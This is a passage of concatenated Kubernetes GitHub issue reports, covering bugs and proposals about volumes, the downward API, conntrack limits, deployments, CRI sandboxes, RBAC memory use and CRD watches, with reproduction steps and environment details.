/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/azure_dd/azure_mounter.go:48\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:138\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:409\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:176\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:109\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_manager.go:706\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1637\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:813\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:173\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:176\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:220\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /usr/local/go/src/runtime/asm_amd64.s:2197\r    \r \r the line that throw the exception was  pkg/volume/azure_dd/azure_mounter.go:48  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_mounter.go l48 , which accesses  volumesource  when the  getvolumesource  likely returned nil  in this  case  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_common.go l107  .\r \r   what you expected to happen  :\r an error message related to failed disk mounting is returned instead of a nil pointer deference.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not very easy to reproduce, but we were in the process of moving pods between nodes running 1.5 -> 1.8. we suspect there may have been unexpected interactions that caused both  spec.volume  and  spec.persistentvolume  to be missing when the azuredisk is fetched. our pod spec uses azuredisk volumes, not persistentvolumes.\r \r   anything else we need to know?  :\r i'd expect  this line  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_mounter.go l48  to not access  volumesource  if an error was propagated up.\r \r we worked around this issue by deleting the deployment and re-applying our spec, which did the trick, probably since the application of the config took place in an entirely 1.8 setting rather than a hybrid cluster  1.5 and 1.8 worker nodes .\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubelet 1.8.1 & master running 1.8.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos 1548.4.0\r - kernel  e.g.  uname -a  : linux master 4.13.9-coreos  1 smp thu oct 26 03:35:38 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r  using the downward api as a disk volume, i am getting incorrect values for  cpu.request  and  cpu.limit .  \r \r   what you expected to happen  :\r i expect to see the same values for  cpu.limit  and  cpu.request  that i see when i run  kubectl describe pod <...> .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a pod with the downward api exposed through a volumemount:\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: nginx\r spec:\r   replicas: 2\r   selector:\r     app: nginx\r   template:\r     metadata:\r       name: nginx\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r         resources:\r           requests:\r             cpu: \ 100m\ \r             memory: \ 15m\ \r           limits:\r             cpu: \ 500m\ \r             memory: \ 100m\ \r         volumemounts:\r         - mountpath: /etc/podinfo\r           name: podinfo\r       volumes:\r         - name: podinfo\r         downwardapi:\r           items:\r             - path: \ cpu_limit\ \r               resourcefieldref:\r                 containername: ssl-proxy\r                 resource: limits.cpu\r             - path: \ cpu_request\ \r               resourcefieldref:\r                 containername: ssl-proxy\r                 resource: requests.cpu\r             - path: \ mem_limit\ \r               resourcefieldref:\r                 containername: ssl-proxy\r                 resource: limits.memory\r             - path: \ mem_request\ \r               resourcefieldref:\r                 containername: ssl-proxy\r                 resource: requests.memory\r    \r \r  kubectl exec -t -i <pod> bash  to get a shell and then:\r    \r   cd /etc/podinfo\r   for i in  ; do echo \ $i -> $ cat $i \ ; done\r cpu_limit -> 1\r cpu_request -> 1\r mem_limit -> 500000000\r mem_request -> 100000000\r    \r observe that  cpu_limit  and  cpu_request  are both  1 .\r \r now, adjust the limit and request:\r    \r kubectl set resources replicationcontroller nginx --requests=cpu=900m --limits=cpu=1400m\r    \r wait for your pod to be rebuilt and exec a new bash shell onto it.\r    \r   cd /etc/podinfo\r   for i in  ; do echo \ $i -> $ cat $i \ ; done\r cpu_limit -> 2\r cpu_request -> 1\r mem_limit -> 500000000\r mem_request -> 100000000\r    \r \r notice how the values appear to be rounded up.  they should probably be displayed as millicores  int .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws / kops / t2.xlarge nodes\r \r - os  e.g. from /etc/os-release :  container linux by coreos stable  1745.4.0  \r - kernel  e.g.  uname -a  :  linux ip-10-25-50-145.ec2.internal 4.14.42-coreos  1 smp thu may 24 21:10:56 utc 2018 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r  \r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r - dmesg -t show lots of  nf_conntrack: table full, dropping packet \r    \r  tue nov 20 22:30:22 2018  nf_conntrack: table full, dropping packet\r  tue nov 20 22:30:27 2018  nf_conntrack: table full, dropping packet\r  tue nov 20 22:30:27 2018  nf_conntrack: table full, dropping packet\r  tue nov 20 22:30:27 2018  nf_conntrack: table full, dropping packet\r    \r \r this issue may break pod http health check,  pod will restart frequently. such as  ingress-nginx-controller ， will be unavailable， all request will failed.\r \r   what you expected to happen  :\r no errors in dmesg \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r i  tune  net.netfilter.nf_conntrack_max   to  1048576  , then problem fixed. \r so , i think kube-proxy may should increase the value\r    \r i1120 15:18:19.757786   26448 conntrack.go:52  setting nf_conntrack_max to 786432\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.2\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  : 3.10\r - install tools: binary\r - others:\r \r <!-- do not edit below this line -->\r 

execute the following:      kubectl create -f app-deployment.yml kubectl scale deployment app-deployment --replicas=10   edit app-deployment.yml to make a change kubectl apply -f app-deployment.yml   replicas=4 in this file kubectl rollout undo deployment/app-deployment       this results in 4 replicas running, instead of the expected 10  since the deployment was undone .

we should at least document how to handle it, but ideally give users an easy way to prevent agains some of the most common attacks both at l7 and l4.   most obvious options is to accumulate logs from a bank of nginx ingress controllers via fluentd into es/cloud logging and setup a reconciliation loop that feeds into a dos engine, which then sends accept/reject policy back down to nginx, through the ingress. we'd need to add a dos section to ingress for this.   we could also do pof at iptables layer  http://www.ioremap.net/projects/osf/ , or some iptables firewalling as discussed https://github.com/kubernetes/kubernetes/issues/22679 and https://github.com/kubernetes/kubernetes/issues/13774. would be nice if the apiserver could use the dos engine to protect itself, when/if we move it behind an ingress.

bug report    kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:06:06z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  :   bare metal ubuntu  -   os    e.g. from /etc/os-release :   14.04.5 lts -   kernel    e.g.  uname -a  :   linux yehiyam-adsl 3.19.0-68-generic  76~14.04.1-ubuntu smp fri aug 12 11:46:25 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : -   others  :    what happened  : in kubernetes 1.3.6 every container that is created has an ipv6 address that is marked as duplicate address.  i.e.    10: eth0: <broadcast,multicast,up,lower_up> mtu 1450     inet6 fe80::42:acff:fe10:2e02/64 scope link tentative dadfailed        valid_lft forever preferred_lft forever   this prevents one of our services  kurento-media-server  from working correctly. this never happened with an older version of k8s  1.1.7    what you expected to happen  : the ipv6 address should not be marked as duplicate    how to reproduce it    as minimally and precisely as possible : create a container  e.g. busybox, nginx  execute the   ip   command in the container   kubectl exec pod_name ip add show      anything else do we need to know  :

today kubelet examines containers periodically, and tries to stop/remove/create containers to meet the desired states of the pods. kubelet is also responsible for reclaiming network resources  by calling  teardownpod   when they are no longer needed.    how is this different with cri?    in cri, instead of assuming an “infra container” , we opt for a more generic pod “sandbox” concept, and leave the implementation details to the runtime time. pod networking is among those runtime-specific implementation details.  therefore, a pod sandbox can include various resources, e.g.,  - container  with namespaces  + ip + host ports - vm + ip + host ports - namespaces + ip + host ports    what are the implications of this change in the current cri implementation?    kubelet may not have visibility of resources attached to the sandbox, and in some cases, does not know that it needs to ask the runtime to clean up the resources. one simple example is that the container terminated itself  or be killed due to other incidents such as a docker daemon restart , and the network resources attached to it  ip, ports .    who is responsible for initiating the resource reclaim?    although runtime has comprehensive knowledge about the resources allocated to the sandbox, shifting the responsibility to runtime implies that the runtime will likely need to perform periodic resource reclaims. this adds unnecessary complexity to the shim/runtime since kubelet already manages the container lifecycle by monitoring the states. to ensure kubelet can reclaim the resources reliably, we should clarify the resource cleanup behavior in the api.  _the state of the sandbox is not just the state of the infra container. it should reflect the state of all resources allocated to the sandbox._ a  podsandboxid  is a unique id for identifying a sandbox. as long as there exists resources  e.g., an ip address or container  attached or allocated to the sandbox, runtime should ensure that the sandbox id is visible upon queries. this allows kubelet to reclaim the resources by calling  removepodsandbox .    the unfortunate details about kubelet implementation   right now, a sandbox can either be  ready  or  notready . if an infra container died, but the sandbox still occupies an ip address, runtime should report  notready  state for the sandbox.  ideally, this should be sufficient for kubelet to call  removepodsandbox  to reclaim all the resources. however, in today's implementation, kubelet keeps a stopped  podsandbox  for a prolonged period of time so that it could use the terminated containers a tombstones/checkpoints, as well as retrieve the logs for the containers  which should change in the future . this means if kubelet sees a  notready  sandbox, it won't call  removesandbox  immediately. this could lead to kubelet maxing out all the resources  e.g., ip .  one solution is to add a  stopped  or  exited state to the sandbox so that kubelet can distinguish whether resources have been reclaimed or not.  - sandbox is  notready  or  ready  -> kubelet calls  stoppodsandbox  -> sandbox is  exited  - sandbox is  exited  -> kubelet calls  removepodsandbox  -> sandbox is gone.  this api change is purely driven by the practical needs to cope with kubelet's current restriction, and there might be more ugly ways to handle this without adding states  e.g., always call  stoppodsandbox  when seeing an  notready  sandbox.   /cc @kubernetes/sig-node  @thockin @dchen1107

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   yes & no.  could be a bug? i've taken it up on slack, however, teamsters & i were unable to resolve the issue there.\r \r   what keywords did you search in kubernetes issues before filing this one?   service,network,access\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r    js\r // pretty printed, for your reading pleasure\r {\r   \ major\ : \ 1\ ,\r   \ minor\ : \ 5\ ,\r   \ gitversion\ : \ v1.5.1\ ,\r   \ gitcommit\ : \ 82450d03cb057bab0950214ef122b67c83fb11df\ ,\r   \ gittreestate\ : \ clean\ ,\r   \ builddate\ : \ 2016-12-14t00:57:05z\ ,\r   \ goversion\ : \ go1.7.4\ ,\r   \ compiler\ : \ gc\ ,\r   \ platform\ : \ darwin/amd64\ \r }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :  vagrant, core-os, multi-node.  deployed explicitly via https://coreos.com/kubernetes/docs/latest/kubernetes-on-vagrant.html .  \r -   os    e.g. from /etc/os-release : cluster os's are  4.9.0-coreos . vagrant cluster host is  osx, 10.11.6 \r -   kernel    e.g.  uname -a  :  linux c1 4.9.0-coreos  1 smp wed dec 14 23:31:02 utc 2016 x86_64 intel r  core tm  i7-4980hq cpu @ 2.80ghz genuineintel gnu/linux \r -   install tools  : see url above!  no funny business. : \r \r \r   what happened  :\r \r - i deployed a cluster w/ 2 worker nodes   w1, w2   per the guide above.  fwiw, i increased mem to  2048  in the  confib.rb , which i believe is irrelevant.\r - i deployed 3 services: https://github.com/cdaringe/hackweek-kubes/blob/master/three-stooge-services.yml . 1 replica per deployment.  easy!\r   - one service runs on  6001 , one on  6002 , and another on  6003 .  i have dubbed them  curly ,  larry , and  moe , respectively.\r   - i _can_ access _each of these services from any cluster node_ via  curl <service-ip>:<service-port> \r \r given that all three services are running and accessible from each cluster node, i feel good!  however, those  curl <service-ip>:<service-port>  _fail_ from _within_ pod containers.\r \r consider the following.  cluster is up, services up, pods up.  let's open a shell inside the  curly  container and sniff around:\r \r    \r root@stooges-curly-3998166061-trt8m:/stooge  curl localhost:6001   lets try accessing _this_ pod's exposed api\r   greetings, stooge-master!   great! this container is working per expectation!\r root@stooges-curly-3998166061-trt8m:/stooge  curl 10.3.0.6:6003   can i hit a different service's api?  let's try  moe 's service\r ^c   <== biff!  network hangs!  lets try from a cluster worker node...\r root@stooges-curly-3998166061-trt8m:/stooge  exit   exit the container back to the worker node\r exit\r core@w2 ~ $ curl 10.3.0.6:6003   try accessing  moe 's service from the worker node\r   greetings, stooge-master!   <== yap, all is well\r    \r \r   what you expected to happen  :\r \r i expect to be able to access  service s from within a  pod  container.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - fire up the default vagrant multi-node cluster from the coreos docs, reffed above\r   - note, takes a while for the cluster to come up!\r -  kubectl -f <manifest.yaml> , where manifest === https://github.com/cdaringe/hackweek-kubes/blob/master/three-stooge-services.yml\r - describe the running services,  kubectl describe services \r - enter a pod container, and attempt to  curl <someserviceip>:<someserviceport> \r \r   anything else do we need to know  :\r \r -  journalctl -u kubelet -u flannel  didn't show anything interesting on the worker nodes.\r \r

i was looking into why kubemark-scale is failing and looked into memory allocations. it seems that rbac is responsible for significant portion of it:\r    \r  pprof  wojtekt@wojtekt-work:~/gke-scripts/google3/cloud/kubernetes$ go tool pprof --alloc_space http://localhost:12345/debug/pprof/heap\r fetching profile from http://localhost:12345/debug/pprof/heap\r saved profile in /usr/local/google/home/wojtekt/pprof/pprof.localhost:12345.alloc_objects.alloc_space.010.pb.gz\r entering interactive mode  type \ help\  for commands \r  pprof  top\r 367.43gb of 739.62gb total  49.68% \r dropped 1252 nodes  cum <= 3.70gb \r showing top 10 nodes out of 272  cum >= 11.85gb \r       flat  flat%   sum%        cum   cum%\r   116.08gb 15.69% 15.69%   129.35gb 17.49%  net/http.  http2serverconn .newwriterandrequest\r    54.22gb  7.33% 23.02%    92.37gb 12.49%  k8s.io/kubernetes/pkg/registry/rbac/validation.  defaultruleresolver .rulesfor\r    43.72gb  5.91% 28.94%    43.72gb  5.91%  math/big.nat.mul\r    37.60gb  5.08% 34.02%    37.60gb  5.08%  reflect.unsafe_new\r    24.75gb  3.35% 37.37%    35.29gb  4.77%  math/big.nat.divlarge\r    21.83gb  2.95% 40.32%    21.83gb  2.95%  k8s.io/kubernetes/pkg/registry/rbac/validation.appliestouser\r    20.44gb  2.76% 43.08%    20.44gb  2.76%  k8s.io/kubernetes/pkg/api.deepcopy_api_nodestatus\r    18.80gb  2.54% 45.62%    27.47gb  3.71%  k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/protobuf.  serializer .encode\r    18.14gb  2.45% 48.08%    18.14gb  2.45%  bytes.makeslice\r    11.85gb  1.60% 49.68%    11.85gb  1.60%  k8s.io/kubernetes/pkg/client/cache.  threadsafemap .list\r    \r \r i think that some of it might be related to the fact the we still have incorrect role for kube-proxy in kubemark that is not allowed to list endpoints, but that should hopefully be fixed soon - @shyamjvs \r \r once this is fixed, we should verify where we are, and potentially optimize rbac-related code.\r \r @kubernetes/sig-scalability-misc @shyamjvs @deads2k @liggitt

apiserver received an error that is not an metav1.status: etcdserver: not capable\r \r it's a suspicious message that someone else asked me about before.  found this time in https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-kubemark-e2e-gce/18873/artifacts/k6k-e2e-agent-pr-14-0-master/kube-apiserver.log from the submit queue\r \r @gmarek can you check to make sure its nothing obvious in kubemark?

is this a request for help?   : yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : job\r \r ---\r \r   is this a bug report or feature request?    choose one :\r  feature request\r \r   detail  :\r \r the job resource can set  parallelism  to  specifies the maximum desired number of pods the job should run at any given time, we need set the field in jobstatus spec to show how many pods are running at the current time.\r \r \r \r \r

according to this proposal: \r \r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/customresources-validation.md\r \r we accept json schema for validation. kubectl and other tools we have, uses openapi to validate objects  as well as other custom validations on the server . while the proposal claims that openapi and json schema are compatible, but they are not. openapi's schema is a subset of json schema  e.g. it does not support multiple values for  type  field . we would be in much better shape if we ask for the openapi spec of the custom resource. in that way, we can just aggregate the spec with current openapi spec and kubectl and other tools can use that to validate the resource. if we accept a json schema, it would not be possible to convert it to openapi if user provides any incompatible values for that schema.\r \r @nikhita, @sttts @lavalamp

the link in the readme here https://github.com/kubernetes/kubernetes/tree/master/examples/kubectl-container is broken.\r \r  as a wider effect; it's almost impossible to find a good example of a tool-type container to run with cronjobs that has kubectl already installed

this is the roll-up issue for node upgrades. it contains the following issues: - a minimum viable node upgrade mechanism for 1.0 - improvements upon the basic mechanism - previous ones that discuss cluster upgrades and provisioning tools  here are the details of our initial requirements for upgrade mechanisms: - mechanism:   out-of-band   instead of on the master - configuration:   salt   instead of another mechanism - provider:   g e   instead of a provider-agnostic solution - node mgmt:   managed instance groups   instead of individual nodes - must save storage:   best effort   instead of fully-supported - language:   bash   instead of go     1.0 requirements  for 1.0, we are working on the tear down / recreate path: -   tear down / recreate:   upgrading all components of a node together: kubelet, kube-proxy, docker, and the underlying node image  the userspace and the kernel . this will be done by tearing down and creating nodes in the cluster with a newer supported version tuple. this is blocked by true static clustering&mdash;allowing nodes to dynamically join the cluster   6087 . this will be the \ hammer\  we can use for node upgrades and repairs: it is reliable as it starts with a fresh state, it covers all components of a node, but it is disruptive. -  x   6088 build path 2: provision new nodes to upgrade all components -  x   7914 test path 2 -      6084 save storage: ensure volumes are retained     post-1.0  post-1.0, we want to work on an in-place upgrade, and improve our existing mechanism to make it provider-agnostic, possibly run in a pod that manages the cluster, and other improvements listed below. -   binary upgrade:   upgrading kubernetes binaries  kubelet, kube-proxy  independently of docker and the node image. this is currently doable using  kube-push.sh  for some cloud providers. we need to ensure the cluster stays running in a good state after the upgrade, and support upgrading to official releases. this will cover most common upgrades, and future extensions to this mechanism  for example, to upgrade docker  will allow for more thorough upgrades to be less disruptive, and help cover more use cases such as node repair.  the following are ordered by priority. -      6099 build path 1: kubelet/kube-proxy in-place binary upgrade for 1.0. -      7256 test path 1 -      6080 node evacuation -      6086 only upgrade nodes whose versions can and should be upgraded -      6095 write in go and hook into  pkg/cloudprovider  -      6096 make node upgrades work for all supported providers -      6106 put the node upgrade mechanism on the master     related work -  2524 full cluster upgrade discussion -  3174 looked at requirements for master upgrades  gce  -  4175 put master data on a pd and reserved the master's ip  gce  -  3333 node component upgrades -  1573 online kubelet upgrades -  5044 node rolling upgrades -  4855 full cluster upgrade discussion for 1.0; clarifies versioning -  5511 suggests  kubectl  command to do node rolling upgrades -  5472 proposal for  kubedeploy  to replace  kube-{up,down,push}.sh  -  6075 master upgrades roll-up

for some reason the coredns configuration has a master toleration, where kube-dns did not.  is there some reason for the discrepancy?\r \r kube-dns: https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/dns/kube-dns/kube-dns.yaml.base l90\r coredns: https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/dns/coredns/coredns.yaml.in l111\r \r spotted by @bhegazy in https://github.com/kubernetes/kops/pull/5917

what happened  :\r \r if you establish a watch request on a list of crs, then edit the crd's  validation  object, you will stop getting modified events on the watch request. the watch request doesn't fail or report an error, but will not return more modified events until the request is restarted.\r \r this causes problems for custom controllers, which become unresponsive until their requests expire.\r \r   what you expected to happen  :\r \r either the request should end  so it can be restarted safely  or it should continue to return modified events.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i've attached  repro.sh.txt  https://github.com/kubernetes/kubernetes/files/2590209/repro.sh.txt . it does the following:\r \r - create crd and an initial cr.\r - start a proxy, wait for it to come up, then start a watch request.\r - change the cr.  this change to the cr results in a modified event \r - change the  validation  section of the crd.\r - make another change to the cr.  this change to the cr doesn't result in an event .\r \r i've tested this against gke masters on 1.9, 1.10 and 1.11, as well as a kubeadm 1.12.2 cluster. the output looks like:\r \r    \r customresourcedefinition.apiextensions.k8s.io/testcrs.example.com created\r testcr.example.com/my-test-cr created\r starting to serve on 127.0.0.1:8303\r {\ type\ :\ added\ ,\ object\ :{\ apiversion\ :\ example.com/v1\ ,\ kind\ :\ testcr\ ,\ metadata\ :{\ creationtimestamp\ :\ 2018-11-16t17:08:48z\ ,\ generation\ :1,\ name\ :\ my-test-cr\ ,\ namespace\ :\ default\ ,\ resourceversion\ :\ 471\ ,\ selflink\ :\ /apis/example.com/v1/namespaces/default/testcrs/my-test-cr\ ,\ uid\ :\ 4845b766-e9c2-11e8-a427-02423c385d1a\ },\ spec\ :{\ a\ :\ asdf\ }}}\r testcr.example.com/my-test-cr replaced\r {\ type\ :\ modified\ ,\ object\ :{\ apiversion\ :\ example.com/v1\ ,\ kind\ :\ testcr\ ,\ metadata\ :{\ creationtimestamp\ :\ 2018-11-16t17:08:48z\ ,\ generation\ :1,\ name\ :\ my-test-cr\ ,\ namespace\ :\ default\ ,\ resourceversion\ :\ 474\ ,\ selflink\ :\ /apis/example.com/v1/namespaces/default/testcrs/my-test-cr\ ,\ uid\ :\ 4845b766-e9c2-11e8-a427-02423c385d1a\ },\ spec\ :{\ a\ :\ this change to the cr results in a modified event.\ }}}\r the first modification has been made.\r customresourcedefinition.apiextensions.k8s.io/testcrs.example.com replaced\r testcr.example.com/my-test-cr replaced\r the second modification has been made.\r testcr.example.com \ my-test-cr\  deleted\r customresourcedefinition.apiextensions.k8s.io \ testcrs.example.com\  deleted\r curl:  18  transfer closed with outstanding read data remaining\r    \r \r note that you only see modified once despite the cr being changed twice.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2-gke.18, 1.12.2\r - cloud provider or hardware configuration: gke, kubeadm on amd64\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.15.0-36-generic  39~16.04.1-ubuntu smp\r \r <!-- do not edit below this line -->\r 

for years we have publicly stated that the /cluster directory is deprecated and not maintained.  however every cycle it is updated and there are bugs found+fixed by sig-cluster-lifecycle.  \r \r i'd like to enumerate in this issue what needs to get done in order for us to wholesale remove the /cluster directory. \r \r /assign @dims @spiffxp @justinsb @timothysc  \r /cc @liggitt @neolit123 \r

docker -> logs2kafka -> kafka -> various data sinks like es, s3, write to disk etc  the win here is getting json into kafka, this allows us to fanout to various different backends each with their own strengths  eg: kibana for log analysis . kafka itself gives us a flexible, scalable middle tier that would enalbe things like a sql interface  https://www.pipelinedb.com/blog/sql-on-kafka .  forking from: https://groups.google.com/forum/ !topic/google-containers/ildsg85exrq  @piosz fyi

for backwards compatibility we support various types that exist in external api versions but not internal.  those fields have structs in v1, are marked as  // +k8s:conversion-gen=false , but have no internal types.  custom conversions turn them into the new field.  the generator is currently creating rules  convert_v1_type_to_v1_type  if a type only exists in v1.  it should only generate when there is a matching type internally externally.  recreate: 1. create a struct in v1 2. reference that from an existing struct as a field 3. set that field as  // +k8s:conversion-gen=false . 4. run  make , get v1_to_v1  @thockin @wojtek-t caught this as i was updating openshift to 1.4.  will try to come up with a fix if you guys don't know what changed recently  this worked in 1.3 .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : multiple replicaset, duplicate replicaset\r \r ---\r \r   is this a bug report or feature request?    choose one :   bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :   aws  \r -   os    e.g. from /etc/os-release :   ubuntu 14.04.3 lts  \r -   kernel    e.g.  uname -a  :   linux ip-10-0-10-162 3.13.0-87-generic  133-ubuntu smp tue may 24 18:32:09 utc 2016 x86_64 x86_64 x86_64 gnu/linux  \r -   install tools  : custom terraform+ansible setup; using hyperkube binary\r -   others  : this cluster has disabled auth and serviceaccounts\r \r \r   what happened  : upgrading control plane to v1.5.2  from v1.4.7  created duplicate replicasets  and hence duplicate pods  for some deployments\r \r \r   what you expected to happen  : existing deployments/replicasets/pods to be the same or being replaced - not duplicates\r \r \r   how to reproduce it    as minimally and precisely as possible : keep a deployment with volume mounts  probably ebs  running on v1.4.7. upgrade control plane components to v1.5.2\r \r \r   anything else do we need to know  : interestingly, this seems to have happened only for deployments that use shared volume mounts  either ebs or otherwise .\r \r

there are many container runtime  i.e., docker  specific flags  and corresponding fields in  kubeletconfiguration  . we should clean them up. \r \r here are some ideas:\r  1. group them together in to a separate struct, e.g.,  dockerconfiguration , which can be persisted to the apiserver as a componentconfig  as part of  kubeletconfiguration  .\r  2. add a local  dockerflags  struct that does not persist to the apiserver at all. @mtaufen also has a pr  40117 that adds a separate  kubeletflags  struct so that not all flags are mapped to fields in the  kubeletconfiguration .\r \r theoretically, the cri shim may run as a separate process and have no access the the apiserver, and  1  does not work with this model. i am leaning towards to  2 , but would like some input from others. would we want to change runtime-specific configuration dynamically in the future? if so, how can we approach this for standalone shims?\r \r /cc @mtaufen @dchen1107

